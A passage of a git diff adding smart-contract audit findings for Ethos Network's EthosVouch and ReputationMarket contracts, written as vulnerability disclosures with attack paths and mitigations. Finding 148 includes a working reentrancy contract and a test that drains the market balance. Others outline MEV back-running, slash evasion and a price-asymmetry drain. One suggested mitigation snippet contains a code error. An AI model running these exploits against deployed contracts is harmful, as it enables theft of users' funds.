`EthosVouch::slash()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520-L555) is used to slash users. The balances of author vouches which has not yet been archived are reduced by a percentage and sent to protocol address. +```solidity + function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches +@> if (!vouch.archived) + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + if (totalSlashed > 0) { + // Send slashed funds to protocol fee address +@> (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } + + emit Slashed(authorProfileId, slashBasisPoints, totalSlashed); + return totalSlashed; + } +``` + +- According to the protocol [whitepaper](https://whitepaper.ethos.network/ethos-mechanisms/slash#slashing) +> Any Ethos participant may act as a "whistleblower" to accuse another participant of inaccurate claims or unethical behavior. This accusation triggers a 24h lock on staking (and withdrawals) for the accused. +Indeed, the function `EthosVouch::unvouch()` allows the vouch author to unvouch as long as it exists and it is not unvouched yet. +Note that the system considers a 24 hours period, then the vouch author can be able to mitigate the penalty without the need of front-running (indeed the project is deployed on Base L2 in which front-running is impossible now) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. An user is malicious and should be slashed +2. Within 24 hours evaluation period, the user calls `unvouch()` for all his vouches +3. The system slasher calls `slash()`, and protocol get no slash rewards + +### Impact + +- Protocol suffers loss of slashing rewards + +### PoC + +Add this test to `test/vouch/vouch.slash.test.ts` +```js + it.only('prevent slashed', async () => { + // Create multiple vouches from userA + const userC = await deployer.createUser(); + const userD = await deployer.createUser(); + await userA.vouch(userC); + await userA.vouch(userD); + + + // unvouch all vouches + const ids = [0,1,2]; + for(const id of ids){ + await ethosVouch.connect(userA.signer).unvouch(id); + } + + + let balanceBefore = await ethers.provider.getBalance(deployer.FEE_PROTOCOL_ACC); + + // try to slash userA + const slashPercentage = 1000n; // 10% + await ethosVouch.connect(slasher.signer).slash(userA.profileId, slashPercentage); + + let balanceAfter = await ethers.provider.getBalance(deployer.FEE_PROTOCOL_ACC); + + expect(balanceAfter).to.be.eq(balanceBefore) + + }); +``` +run the test and console shows +```bash + EthosVouch Slashing + ✔ prevent slashed (106ms) +``` + +### Mitigation + +Add mechanism to lock profile in evaluation period \ No newline at end of file diff --git a/146.md b/146.md new file mode 100644 index 0000000..2d01572 --- /dev/null +++ b/146.md @@ -0,0 +1,82 @@ +Slow Tan Swallow + +High + +# Users can exploit huge sell/buy orders + +### Summary + +When selling/buying both functions have a while loop in order to calculate the price of each vote. This loop will limit the amount of votes users can buy, as the gas cost would surpass the block gas limit causing a revert. The only solution for this is the user to make a few TX if he wants to buy/sell a lot of tokens. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1031-L1040 +```solidity + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } +``` + +These TX can be front-run or the least back-run with buys or sells so that the attacker can MEV huge operations. Back-runs are possible on every chain as every block would be visible on it's chain scanner and since those TX would require most of the block space (if not all) it means that they all must be in separate blocks. + +Note that this is possible on buy and on sell, but sell is gonna be the main problem as it lacks slippage protection. For buy it's still possible, since these would be separate TXs and the attacker buying in between, the slippage won't be preventing much as it would account the attacker's change in the new order (i.e. attacker would slip in between). + +### Root Cause + +The while loop limiting the amount of orders that can be bought at once + +```solidity + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } +``` + +`sellVotes` not having a slippage check. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +1. A whale to make a sell order + +### Attack Path + +Most probable scenario +1. Whale makes a sell order to sell 10k votes, he would need to do 3 TX, 2 with 4k sells (theoretical max) and 1 with 2k sells +2. User sees the first executed TX and backruns it (possible on Base), knowing that 4k is the max and the whale will sell more than that +3. After the whale sold all 10k votes our user buys them back up again + +The user sold high and bough low, thus making a profit. + +Simpler scenario: +1. Whale makes a sell order to sell 10k votes +2. User sees that order and front-runs him by selling his votes first +3. After the whale sold he buys them back up again at a much lower price + + + +### Impact + +Whales are gonna be gamed by other users. + +### PoC + +_No response_ + +### Mitigation + +Consider using another method to buy/sell votes (AMM curve with increase price impact (like curve stable swap, but the opposite)), or implement slippage protection on sell. \ No newline at end of file diff --git a/147.md b/147.md new file mode 100644 index 0000000..8061f00 --- /dev/null +++ b/147.md @@ -0,0 +1,111 @@ +Skinny Daffodil Falcon + +High + +# `Donations` Not Subtracted from `marketFunds` in `withdrawDonations` Leads to Protocol Insolvency + +### Summary + +In the `ReputationMarket` contract, donations collected during `buyVotes` are stored in the [`donationEscrow`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1121) mapping. +and it's also counted in the [`marketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) +When `withdrawDonations` is called, the donated funds are transferred to the designated recipient. However, these donations are not deducted from `marketFunds`, causing the marketFunds value to overestimate the actual funds available in the market. + +This discrepancy can lead to insolvency where: + +Withdrawals of marketFunds can ieither revert because they exceed the actual contract balance or they'll simply withdraw the donation balance too. +Funds from one market are drained to cover donation withdrawals or withdrawals from other markets. + +### Root Cause + + +In ['_calculateBuy'](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978) we calculate `fundsPaid` and then add `protocolFee ` and `donation` this amount is then added to marketFunds in `BuyVotes` +```javascript + marketFunds[profileId] += fundsPaid; + ``` +However in `withdrawDonations` we don't deduct the donations from `marketFunds` +```javascript +function withdrawDonations() public whenNotPaused returns (uint256) { + uint256 amount = donationEscrow[msg.sender]; + if (amount == 0) { + revert InsufficientFunds(); + } + + // Reset escrow balance before transfer to prevent reentrancy + donationEscrow[msg.sender] = 0; + + // Transfer the funds + (bool success, ) = msg.sender.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Donation withdrawal failed"); + + emit DonationWithdrawn(msg.sender, amount); + return amount; + } +``` + Also we have no guaratee that this function will be called before [`withdrawGraduatedMarketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L660) + + + +### Internal pre-conditions + +Donations are added to donationEscrow during buyVotes and also accounted in `marketFunds`. +The total amount of donations is not deducted from `marketFunds`. + +### External pre-conditions + +_No response_ + +### Attack Path + +There are may scenarios for this: +There's a market with huge donation Amount. +`WithdrawDonations` is called and `donation` are sent to the `recepient` +after graduation, `withdrawGraduatedMarketFunds` is called and `donation` is double counted and also sent to the `authorizedAddress` +This might lead to depleting funds intended for other markets or causing a protocol failure due to insufficient balance. + +### Impact + +GraduateWithdrawals from one market can take funds intended for other markets. +The protocol becomes unable to honor market fund withdrawals, breaking its invariant `The vouch and vault contracts must never revert a transaction due to running out of funds.` + +### PoC + +This simple POC highlight that the `marketFunds` doesn't decrease with `withdrawDonation` +```javascript + function testMarketFundsAccounting() public { + uint256 profileId = 10; + uint256 depositAmount = 1 ether; + + // Create market with initial liquidity + vm.deal(user1, depositAmount); + vm.startPrank(user1); + market.createMarket{value: depositAmount}(); + vm.stopPrank(); + console.log("user1 address", user1); + // User2 buys votes + vm.deal(user2, depositAmount); + vm.startPrank(user2); + market.buyVotes{value: depositAmount}(profileId, true, 0, 500); + vm.stopPrank(); + + // Check the accounting + uint256 trackedFunds = market.marketFunds(profileId); + uint256 actualBalance = address(market).balance; + + console.log("Tracked funds:", trackedFunds); + // withdraw donation + vm.startPrank(user1); + market.withdrawDonations(); + vm.stopPrank(); + uint256 BalanceAfter = address(market).balance; + uint256 trackedFundsAferWithdrawingDonation = market.marketFunds(profileId); + console.log("marketFunds after withdraw donation", trackedFundsAferWithdrawingDonation); + assertEq(trackedFundsAferWithdrawingDonation, trackedFunds ); + } +``` + +### Mitigation + +The simplest mitigation is to remove `donation` from `marketFunds` +```javascript +marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` \ No newline at end of file diff --git a/148.md b/148.md new file mode 100644 index 0000000..f232a4e --- /dev/null +++ b/148.md @@ -0,0 +1,137 @@ +Striped Fuchsia Fly + +High + +# Graduate withdrawer can drain all market funds + +### Summary + +The Graduate withdrawer can execute reentrancy attack to drain all market funds + +### Root Cause + +- The [function `ReputationMarket::withdrawGraduatedMarketFunds()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678) allows the graduator to withdraw funds from graduated markets. However, the function does not have reentrancy protection, which can allow the graduator to reenter the function to drain all markets funds. +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + +@> _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); +@> marketFunds[profileId] = 0; + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A malicious contract is set as Graduate withdrawal role +2. Graduate withdrawal role calls `graduateMarket()` +3. Graduate withdrawal role calls `withdrawGraduatedMarketFunds()`, triggers reentrancy attack to drain funds + +### Impact + +- Market funds can be drained all (rugpull) + +### PoC + +Example with a simple contract `RugpullWithdrawer` as below: +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import "../ReputationMarket.sol"; + +contract RugpullWithdrawer { + ReputationMarket market; + + bool reentered; + uint256 cachedProfileId; + + constructor(address _market) { + market = ReputationMarket(_market); + } + + function rug(uint256 profileId) public { + cachedProfileId = profileId; + market.withdrawGraduatedMarketFunds(profileId); + } + + fallback() external payable { + if (!reentered) { + reentered = true; + rug(cachedProfileId); + } + } +} + +``` + +Add the test below to test file `test/reputationMarket/rep.graduate.test.ts`, under the `describe('Graduated Market Fund Withdrawal'` + +```js + describe('Graduated Market Fund Withdrawal', () => { + ... + it.only('reentrancy', async () => { + const initialBalance = await ethers.provider.getBalance(graduator.address); + // first market's funds + const funds = await reputationMarket.marketFunds(DEFAULT.profileId); + + // create a new market with the same funds + await reputationMarket + .connect(deployer.ADMIN) + .createMarketWithConfigAdmin(ethosUserB.signer.address, 0, { + value: DEFAULT.initialLiquidity, + }); + + await userA.buyVotes({ buyAmount: ethers.parseEther('0.1'), profileId: ethosUserB.profileId }); + await userB.buyVotes({ buyAmount: ethers.parseEther('0.1'), profileId: ethosUserB.profileId }); + + let rugpullContractFactory = await ethers.getContractFactory("RugpullWithdrawer"); + let rugpullContract = await rugpullContractFactory.deploy(await reputationMarket.getAddress()); + + await deployer.contractAddressManager.contract + .connect(deployer.OWNER) + .updateContractAddressesForNames([await rugpullContract.getAddress()], ['GRADUATION_WITHDRAWAL']); + + + let balanceBefore = await ethers.provider.getBalance(await reputationMarket.getAddress()) + + await rugpullContract.rug(DEFAULT.profileId); + + let balanceAfter= await ethers.provider.getBalance(await reputationMarket.getAddress()) + + expect(balanceBefore).to.be.eq(funds * 2n); + expect(balanceAfter).to.be.eq(0n); + }); +} +``` + +Run the test and console shows: +```bash + ReputationMarket Graduation + Graduated Market Fund Withdrawal + ✔ reentrancy (119ms) +``` + +### Mitigation + +Add reentrancy guard \ No newline at end of file diff --git a/149.md b/149.md new file mode 100644 index 0000000..2b27043 --- /dev/null +++ b/149.md @@ -0,0 +1,64 @@ +Skinny Daffodil Falcon + +Medium + +# Rewards for Non-Verified Profiles Are Permanently Locked + +### Summary + +The [`EthosVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L363) allow people to vouch for mock profiles in case they get verified later, however the `claimRewards` function in the `ReputationMarket` contract requires a profile to have been verified at some point to claim rewards. If the subject profile associated with rewards is never verified, the rewards remain permanently locked. This creates a scenario where the protocol accumulates unusable funds, leading to inefficiencies and user dissatisfaction. + +### Root Cause + +The claimRewards function enforces verification through the following condition: + +```javascript +if (!verified || mock) { + revert ProfileNotFoundForAddress(msg.sender); +} +``` + +This ensures that only verified, non-mock profiles can claim rewards. However, there is no mechanism to handle rewards associated with profiles that remain unverified indefinitely. + +### Internal pre-conditions + +`_depositRewards` is called to allocate rewards to a `recipientProfileId`. +The `recipientProfileId` belongs to an address that has never been verified through the `IEthosProfile` contract. + +### External pre-conditions + +The profile remains unverified indefinitely. + +### Attack Path + +This is more of an unrecoverable fund locking issue than an attack however it creaes a lock of funds scenario. + +### Impact + +Locked rewards create a financial inefficiency in the system, reducing the funds available for active participants. + +### PoC + +1. Scenario Setup +`_depositRewards` is called: `_depositRewards(100 ether, 12345); // Profile ID 12345` +The profile associated with `recipientProfileId = 12345` is never verified. +2. Attempt to Claim Rewards +The user with `profileId = 12345` calls claimRewards. +The function reverts with `ProfileNotFoundForAddress`, as the profile is unverified. +3. Locked Funds +The `rewards[12345]` value remains non-zero indefinitely, and the funds cannot be accessed. + +### Mitigation +create a sweep mechanism: +```javascript +function recoverUnclaimedRewards(uint256 profileId) external onlyAdmin { + if (IEthosProfile(contractAddressManager.getContractAddressForName(ETHOS_PROFILE)) + .profileStatusById(profileId).verified) revert ProfileStillValid(); + + uint256 amount = rewards[profileId]; + rewards[profileId] = 0; + (bool success, ) = payable(treasury).call{ value: toWithdraw }(""); +; // Redirect to protocol treasury + emit RewardsRecovered(profileId, amount); +} +``` diff --git a/150.md b/150.md new file mode 100644 index 0000000..7c9da06 --- /dev/null +++ b/150.md @@ -0,0 +1,47 @@ +Original Boysenberry Hare + +Medium + +# Vouchers Can Avoid Getting Slashed By Vouching For Different Profiles To Reach Max Limit + +## Description + +**Context:** + +A user with a valid Ethos profile can [vouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L330-L415) for another profile by depositing ETH, signaling that the vouched profile is trustworthy (either as a protocol or user). In the Ethos Protocol, any user with an active profile can accuse others of unethical behavior, which this actor is referred to as `whistleblower`. + +When an accusation is made by `whistleblower`, it triggers a `24-hour` lock period for the voucher, preventing them from unvouching and withdrawing their deposited ETH. Validators in the Ethos Protocol are responsible for voting on the accusation validity. If they agree with the `whistleblower`, the whistleblower can slash the voucher, by taking a portion of the deposited ETH from each vouch associated with specified voucher, up to `10%` of the total. + +*For details on slashing, refer to the [slash()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L514-L555) function and the [Ethos docs](https://whitepaper.ethos.network/ethos-mechanisms/slash#slashing).* + +**Vulnerablity Details:** + +A malicious actor can exploit the system to avoid getting their vouches slashed by vouching for a large number of profiles and eventually reaching the maximum limit, where no further vouching is possible. + +This action makes the slashing operation gas-intensive due to the need to loop through many vouch IDs using a [for loop](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L529-L545). (Note: The maximum number of vouch IDs associated with a single profile is [256](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L287), meaning the loop will iterate up to 256 times). Additionally, the process involves frequent storage reads and writes, which are gas expensive operation in solidity. + +A malicious actor could execute this strategy at minimal cost, as the lowest amount required to vouch for a profile is [0.0001 ETH](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L119). By vouching for `256 profiles`, the total cost would only be `0.0256 ETH`. + +## Impact + +**Damage:** Medium + +**Likelihood:** Medium + +**Details:** A malicious voucher can deliberately vouch for a large number of profiles, eventually reaching the maximum limit where no further vouching is possible, to avoid getting slashed and penalized for unethical acts he has done. + +## Proof of Concept + +**Attack Path:** + +1. A whistleblower detects unethical behavior by a voucher and accuses them. This results in the voucher funds being locked for 24 hours, which leads to voucher being unable to unvouch and withdraw his deposited ETH during this period. +2. Validators agree the accusation is valid, enabling the whistleblower to initiate slashing. +3. whistleblower calls [slash()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L514-L555) function on voucher. unfortunetly fails because voucher has vouched for `256` different profiles (max limit). as result, when in `slash()` function looping through each vouch of the voucher (256 times) and reading/writing from/to storage, it will cost alot of gas and cause exceeding block gas limit which will lead to revert and `whistleblower` will be unable to punish voucher for unethical act. + +**POC:** + +- Not Needed + +## Recommended Mitigation + +The `slash()` function should be designed in a way, to allow slashing a single vouch at a time, selected by the `whistleblower`. This reduces the gas overhead and ensures the system can effectively penalize unethical vouchers. \ No newline at end of file diff --git a/151.md b/151.md new file mode 100644 index 0000000..d135e44 --- /dev/null +++ b/151.md @@ -0,0 +1,43 @@ +Calm Fiery Llama + +Medium + +# Repeated unhealthy vouches by a single profile results in the subject being impacted multiple times by the same author + +### Summary + +Vouches that end due to distrust can be marked as "unhealthy" within a limited time period. Marking a vouch as unhealthy will likely lower the score of the subject being vouched for and indicates that the voucher has lost trust in the profile, which is why they want their money refunded. The sponsor [confirmed this](https://discord.com/channels/812037309376495636/1312070624730021918/1312845097813020772) in the public Discord channel. However, once a user has unvouched and marked the vouch as unhealthy, they can simply vouch for the same subject again, unvouch, and mark the vouch as unhealthy again. This allows the subject to be impacted multiple times by the same author. + +### Root Cause + +In [EthosVouch::vouchByProfileId()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L369), it is only verified that the previous vouch has been unvouched. However, the same author could vouch for a subject they no longer trust and have previously marked as unhealthy, allowing them to mark the subject as unhealthy multiple times and further impact their credibility. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. Alice calls `EthosVouch::vouchByProfileId()` to vouch for Bob. +2. Alice calls `EthosVouch::unvouch()` to unvouch as she no longer trusts Bob. +3. Frustrated with Bob, Alice decides to vouch for him again, only to unvouch and mark the new vouch as unhealthy once more. +4. She can repeat this process indefinitely or until she runs out of funds. + +As a result, Bob's credibility score is negatively impacted by multiple unhealthy vouches from the same author. + +### Impact + +A single profile can mark multiple vouches for the same subject as unhealthy. This means that a single profile can indicate that they lost trust in the profile, which is why they want their money refunded. As a result, the subject's credibility score to be heavily impacted by just one profile, even though it could be the only one distrusting them. + +### PoC + +_No response_ + +### Mitigation + +Consider restricting authors from vouching for the same subject if a previous vouch they made for that subject was marked as unhealthy. +Since people's opinions can change, you should also consider allowing users to unmark a previously marked unhealthy vouch. \ No newline at end of file diff --git a/152.md b/152.md new file mode 100644 index 0000000..643d79b --- /dev/null +++ b/152.md @@ -0,0 +1,66 @@ +Cheery Mustard Swallow + +Medium + +# `EthosVouch::increaseVouch` does not implement the `whenNotPaused` Modifier, if needed for the contract to be paused during an emergency, users will still be able to deposit more eth in active vouches which may lead to unnessary loss of funds for users + +### Summary + +The `increaseVouch` function lacks the `whenNotPaused` modifier seen in functions like `vouchByProfileId` and `Unvouch`, which could expose users to potential financial risks during critical contract states or known exploits. This oversight allows continued vouch increases even when the contract should be halted, potentially leading to unnecessary fund exposure or user losses. + +### Root Cause + +In [`EthosVouch.sol:426`,](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444) while similar vouch interaction functions are protected by the whenNotPaused modifier, the `increaseVouch` function remains unprotected by the modifier. This creates an asymmetric pause mechanism that: + +1. Allows vouch increases during potential security incidents +2. Bypasses intended emergency stop controls +3. Leaves users vulnerable to continuing interactions during known exploit scenarios + +### Internal pre-conditions + +1. An admin having paused the contract during an exploit to halt any further financial operations. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The protocol faces an attack and the admin chooses to pause the contract to halt any further financial operations and the protocol and protect users from further financial loss. +2. Users unknowingly increase vouch amounts during the security event +3. Continued fund exposure during critical vulnerability windows +4. Circumvention of intended emergency control mechanisms + +### Impact + +Users potentially losing much more than they would have if protocol is compromised and this function is still open. + +### PoC + +_No response_ + +### Mitigation + +Include the `whenNotPaused` modifier in the `increaseVouch` function to protect users from unforeseen events: + +```solidity + function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` \ No newline at end of file diff --git a/153.md b/153.md new file mode 100644 index 0000000..c9528cd --- /dev/null +++ b/153.md @@ -0,0 +1,66 @@ +Furry Hickory Gazelle + +Medium + +# Discrepancy in Fee Inclusion for Buy and Sell Operations in Market Funds Tracking + +### Summary + +During the buyVotes operation, the protocol includes both fees and donations in the funds added to the marketFunds mapping, as stated by the team [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L111), the mapping is expected to track the total funds invested for a given profileId, but during the [buyVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481), the [protocolFee, and donation were added](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978) as part of the investment. However, during [sellVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041), the fundsReceived calculation reflects only the actual funds the seller receives, [excluding fees]( funds = amount - protocolFee - donation;). + +This discrepancy creates an inaccurate representation of the funds attributed to marketFunds, leading to overestimation when buying votes and potential discrepancies when assessing overall market activity or user investments. The issue arises because the fundsPaid during buyVotes is calculated as: +```solidity +fundsPaid += protocolFee + donation; +``` + + +### Root Cause + +During buyVotes, the protocol includes fees in fundsPaid and attributes this total to marketFunds[profileId]. + + +### Impact + +Market funds (marketFunds) overestimate the funds attributed to users during buy operations. + +### PoC + + • Buy Operation: User deposits 1.5 ETH. + • Vote price: 1 ETH. + • Protocol fee: 0.01 ETH. + • Donation: 0.01 ETH. + • marketFunds[profileId] increases by 1.02 ETH (including fees and donations). + + • Sell Operation: User sells a vote for 1 ETH. + • Protocol fee: 0.01 ETH. + • Funds received: 0.99 ETH. + • Only 0.99 ETH is deducted or tracked in marketFunds[profileId]. + +Market funds indicate inflated investments for buys but lower-than-expected reductions for sells. + +### Mitigation + +Modify the logic in buyVotes to ensure only the vote price (exclusive of fees) is added to marketFunds[profileId]. +```solidity +uint256 fundsToTrack = fundsPaid - protocolFee - donation; +marketFunds[profileId] += fundsToTrack; +``` + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // other codes here + // tally market funds + if (fundsReceived > marketFunds[profileId]) { + marketFunds[profileId] = 0; + } else { + marketFunds[profileId] -= fundsReceived; + } + // other code here + } +``` \ No newline at end of file diff --git a/154.md b/154.md new file mode 100644 index 0000000..f92b2cd --- /dev/null +++ b/154.md @@ -0,0 +1,46 @@ +Rich Sapphire Frog + +Medium + +# Method sellVotes() doesn't have slippage protection + +### Summary + +The method `sellVotes()` in `ReputationMarket.sol` doesn't support any slippage protection. Which makes it vulnerable to frontrunning or sandwich attacks in L1 and still impact users if some transaction on same profileId executes before them. Which is possible in a protocol with high TVL. + +### Root Cause + +In `https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495C3-L534C4` there is not slippage protection. +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + ``` + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Alice sends sellVotes() transaction to the mempool. +2. Bob sandwich user's txn and first sellVotes() and then buyVotes() or Bob simply sells their votes by the time Alice sent her transaction. Which leads to Alice getting less amount than estimated for selling votes. + +### Impact + +The loss of funds of the user. + +### PoC + +_No response_ + +### Mitigation + +Add a minimum received in the `sellVotes()` method and revert the call if the calculated amount is less than minimum received. \ No newline at end of file diff --git a/155.md b/155.md new file mode 100644 index 0000000..0b53158 --- /dev/null +++ b/155.md @@ -0,0 +1,80 @@ +Flat Pear Owl + +High + +# Incorrect vote price calculation may lead to potential protocol drain + +### Summary + +In the `ReputationMarket.sol` protocol, users can buy and sell votes. However, the protocol incorrectly calculates the vote price, allowing users to buy votes at a low price and sell them at a higher price. +This issue may leads to user drain protocol fund. And it break the property in README "They must never pay out the initial liquidity deposited." + +### Root Cause + +In `buyVotes`, it calls `_calculateBuy` to calc the total vote price. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/34606be941434e23fa428193c3d2b153a59a4b71/ethos/packages/contracts/contracts/ReputationMarket.sol#L961 +In `_calculateBuy`, it calc the first vote price before update vote number. +```solidity + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); // calc first vote price + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; // update vote number + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` +In `sellVotes`, it calls `_calculateSell` to calc the total vote price. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/34606be941434e23fa428193c3d2b153a59a4b71/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003 +In `_calculateSell`, it also calc the first vote price before update vote number. +This calculation method allows users to buy votes at a low price and sell them at a higher price. + +For example: +1. the market is initialized with 100 trust votes and 100 distrust votes. +2. Alice buys 3 votes, and the total vote price is `(100/200 + 101/201 + 102/202) * basePrice` +3. Alice then sells the 3 votes, and the total vote price is `(103/203 + 102/202 + 101/201) * basePrice`. +4. As a result, Alice could receive `(103/203 - 100/200) * basePrice` (excluding fees) by simply buying and selling votes. +5. If the total fee is less than `(103/203 - 100/200) * basePrice`, the protocol will use initial liquidity to pay the difference, breaking the property defined in the README. Alice can exploit this to drain the protocol’s funds + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +1. attacker can drain the protocol funds +2. break the property in README " They must never pay out the initial liquidity deposited." + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/156.md b/156.md new file mode 100644 index 0000000..7316be0 --- /dev/null +++ b/156.md @@ -0,0 +1,130 @@ +Fun Shamrock Wasp + +High + +# Incorrect calculation of fees in `EthosVouch` leading to unfair fee distribution and deposit + +### Summary + +`EthosVouch` apply fees like how tax is done, as devs have explained, if the to-be-deposit amount is 100, and total fee rate is 7%, the final amount user would need to provide is 107, which is 100 + 100 * 7%. However, the actual calculation is faulty, user can deposit more than supposed, and protocol will get less fees than expected. + +### Root Cause + +[Here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975C1-L989C4) is how the contract calculates fee: +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + 